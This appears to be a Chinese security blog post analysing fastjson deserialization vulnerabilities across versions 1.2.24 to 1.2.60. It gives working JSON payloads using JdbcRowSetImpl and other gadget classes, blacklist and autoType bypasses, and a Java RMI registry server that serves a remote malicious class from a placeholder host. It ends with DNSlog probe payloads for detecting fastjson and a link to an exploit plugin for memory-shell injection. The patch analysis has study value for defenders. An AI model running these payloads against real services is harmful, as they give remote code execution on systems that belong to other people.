0x00前言
前面写了fastjson的利用，现在补上fastjson的分析，后面附上探测后端是否使用fastjon的方法(1.2.67)。
0x01fastjson基本使用
toJSONString()
parseObject()
这两个函数一个将对象转化为json字符串，一个将json字符串反序列化成对象。
一般来说使用第一种方法输出json字符串，这里将第二种方法写出来，是想体现fastjson可以识别json中的一些特殊的属性，比如说如果json字符串中某个key是“@type”，它就认为该key对应的value用于指定该json字符串对应的对象类型。
可以看到带指定对象类型的参数都反序列化成功了，也就是说反序列化必须指定对象类型，但是实际开发中大多数时候是并不知道对象类型的，所以通常会将对象类型设置为Object.class，毕竟java中所有类都是Object的子类。然后通过@type的值确定对象类型。反序序列化的入口也是这个函数parseObject()。
我们可以看到，反序列化后的对象属性是有值的，说明它会自动调用对象的getter和setter方法。fastjson的反序列化漏洞就出现在这里，当json字符串可控时(就是我们经常抓包会在请求中看到一些json字符串，通过修改这些字符串)，我们可以反序列化出任意对象，只需要找到某个对象的构造函数或属性的getter、setter方法中有危险操作，那么我们就可以通过构造json进行反序列化执行危险函数。
0x02TemplatesImpl利用链
这条链简单介绍一下，因为利用条件较苛刻。payload如下，bytecode属性装着是恶意class的base6
4编码。
通常情况fastjson只会反序列化公开的属性，而上面payload中，bytecode属性是一个私有属性，想反序列化私有属性必须设置Feature.SupportNonPublicField这个参数。
接下来看个例子。
可以看到普通的parseObject()，反序列化后私有属性是null的。在添加了Feature.SupportNonPublicField这个参数后才成功反序列化。也就是TemplatesImpl利用链必须开发在json反序列化添加Feature.SupportNonPublicField这个参数后才能成功。所以这里重点分析JdbcRowSetImpl利用链
0x03JdbcRowSetImpl利用链
在分析这条利用链前，首先要知道RMI、JDNI这两个概念。
RMI(remote method invocation)叫远程方法调用，Java环境设计的远程方法调用机制，远程服务器实现具体的Java方法并提供接口，客户端本地仅需根据接口类的定义，提供相应的参数即可调用远程方法。
大概意思就是，首先开启一个RMI服务，然后客户端需要调用某个方法就到这里去查询，返回给客户端一个对象的引用，通过这个对象的引用去调用具体方法。
JNDI(Java Naming and Directory Interface)就是java命名和目录接口。JNDI提供统一的客户端API，通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现。
jndi大概就是一组api接口。每一个对象都有唯一的键值绑定，将名字和对象绑定，可以通过名字检索对象，对象就存储在rmi，ldap等服务。可以通过Search()，Lookup()之类的函数去查找远程对象。
客户端在用lookup()查找这个远程对象时，客户端会获取相应的object factory，最终通过factory类将reference转换为具体的对象实例。Reference是java中的引用类。
0x04环境准备
payload如下
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://ip:port/Exploit",
"autoCommit":true
}
先启动RMI服务
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class server {
public static void start() throws
AlreadyBoundException, RemoteException, NamingException {
Registry registry = LocateRegistry.createRegistry(9999);
String remote_class_server = "http://ip:port/";//恶意类远程地址
Reference reference = new Reference("Exploit", "Exploit", remote_class_server);//第一个参数为恶意类名，第二个为factory。
//reference的factory class参数指向了一个外部Web服务的地址
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit", referenceWrapper);
System.out.println("Listener on 9999");
}
public static void main(String[] args) throws AlreadyBoundException, RemoteException, NamingException{
start();
}
}
编译一个恶意类
把他放到web服务器上，在RMI服务绑定好。
0x05开始调试1.2.24版本
入口函数parseObject()下断点开始调试。
跟到这，判断key是否是@type，如果是，便加载对应的class
继续跟，这里开始反序列化阶段。
具体操作就是通过反射调用 setter 方法赋值
我们的payload中有一个属性autoCommit为true。会调用下图方法
跟进
调用lookup()方法。
然后会去寻找我们写好的恶意rmi服务类。通过lookup方法就实例化了这个恶意类，从而导致构造方法的恶意代码触发。
完整利用链
结束
0x06官方补丁
可以看到把loadclass一行删除，新添了一个检查函数checkAutoType()，并且把com.sun设置为黑名单。
0x07补丁绕过
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://ip:port/Exploit"}}
{"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://ip:port/Exploit","autoCommit":true}
第一个payload就是找到了一个类不在黑名单里，第二个payload分析在原来的类，开头添加了L，尾添加了;，分析如下
添加了这两个字符后的类肯定不在黑名单里，然后跟到loadclass函数里，可以看到当以L开头;结尾是，会将这两个字符移除，又变成了com.sun.rowset.RowSetImpl。
0x08开始分析1.2.47版本
payload
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://ip:9999/Test",
"autoCommit":true
}
}
比之前版本多发送了一个java.lang.Class数据，开始调试看一下是怎么绕过的。
仍然跟到这，由于java.lang.Class不在黑名单里，checkAutoType不会拦截，然后跟到loadclass。
可以看到这里，因为我们传了一个属性"val":"com.sun.rowset.JdbcRowSetImpl"，他去把这个作为对象加载了，虽然这个类被加载了，但是并没有传递到rmi属性和autoCommit属性，暂时并不会造成。成恶意影响。继续跟进
可以看到loadclass返回值里有一个cache属性为true。跟进
可以看到loadclass函数中，当cache为true是，会将JdbcRowSetImpl类加载到map缓存中。
第一个json数据处理完了，接下来看一下第二个json数据。
仍然跟到这，然后跟进checkAutoType()函数，看一下这个在黑名单中的类为什么没有被拦截。
可以看到当class为空时，会从mapping中去找。在第一个json数据处理后，JdbcRowSetImpl类已经被加载到map缓存，然后直接就返回class了，绕过了后面的检测。
在checkAutoType函数中，有一个配置就是autotype，默认这个是关闭的，接下来看一下当这个参数为true时的绕过。
首先在反序列化前新增一行代码设置为true。
跟进到checkAutoType函数，进入如下循环
先验证了白名单，如果匹配变返回class，这里不在白名单里。然后匹配黑名单，由于getClassMapping这个条件不为null所以即使匹配到黑名单，但是仍然不会爆异常。
0x09官方修复
把cache的默认值改成了false，不让Class生成的对象存在mapping里。
并且把java.lang.Class这个类加入了黑名单。
0x09 1.2.60版本payload
{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"rmi://ip:port/Exploit"}
"{"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://ip:port/Exploit"}"
仍然利用的是rmi服务，找到了不在黑名单中了类，但是有2个利用条件。依赖的特定的jar(commons-configuration, ojdbc14-10.2.0.2)，并不是中间件或者JDK自带的jar；需要手动开启AutoType。
0x10 总结
1、fastjson 通过@type的值传入类，在解析json时，就会调用传入属性的getter,setter方法。如果找到一个类getter,setter能够传入可控的恶意class字节码或者是jdni服务，就能导致rce。
2、fastjson的防范类是checkAutoType函数，而导致命令执行的很关键的一步是loadClass，因此从checkAutoType到loadClass之间的代码，是需要关注的关键部分。
3、对于官方已经修复但是还没有公开的漏洞，github的源码中的更改记录可能有利用思路。
0x11 更新下探测后端是否使用fastjon的方法
{"@type":"java.net.Inet4Address","val":"http://dnslog"}
{"@type":"java.net.Inet6Address","val":"http://dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"http://dnslog"}}
{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}
Set[{"@type":"java.net.URL","val":"http://dnslog"}]
0x12 参考链接
https://github.com/alibaba/fastjson/issues/3077
0x13 更新后续利用——fastjson注入内存马
写的简单利用的burp插件
https://github.com/amaz1ngday/fastjson-exp
